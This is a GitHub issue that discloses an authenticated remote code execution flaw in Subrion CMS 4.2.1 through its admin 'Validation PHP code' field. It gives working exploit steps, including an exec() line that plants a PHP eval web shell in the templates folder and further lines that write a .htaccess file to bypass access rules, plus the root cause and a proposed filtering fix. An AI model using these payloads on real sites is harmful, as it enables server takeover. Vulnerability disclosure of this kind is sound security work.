Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

There is a remote command execution vulnerability #888

Open
Aview17 opened this issue Nov 3, 2021 · 0 comments
Open

There is a remote command execution vulnerability #888

Aview17 opened this issue Nov 3, 2021 · 0 comments

Comments

@Aview17
Copy link

Aview17 commented Nov 3, 2021

Remote code execution vulnerabilities in the background

Affected version

  • subrion 4.2.1 lates

login address

http://loacalhost/panel

Find Fields after login
image

On the right are the operations related to the column, choose one here, select Facebook
image

open Required field
image

Validation PHP code can enter any php code, here is a sentence of Trojan

exec('echo ^<?php eval($_GET["aa"]); ?^> >./templates/shell.php');

Then visit

http://loacalhost/profile/?edit

This code written will be triggered when the corresponding column is modified
image

But due to the .htaccess file under the root path, we cannot directly access the shell
image
image

we can write a .htaccess file in the same directory of the shell to bypass

In the same way, execute

exec('echo ^<IfModule mod_rewrite.c^> >./templates/.htaccess');exec('echo RewriteEngine Off  ^</IfModule^> >>./templates/.htaccess');

Then go to /profile/?edit to trigger it
image

At this time, you can access the shell and execute any command
image

principle

The reason is that the code at the background Fields will be written to the database
image

Then when the information is modified, the data in it will be executed through eval()
image

Proposed changes

The incoming Validation PHP code adds filtering for sensitive functions, such as exec(), system(), etc.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

1 participant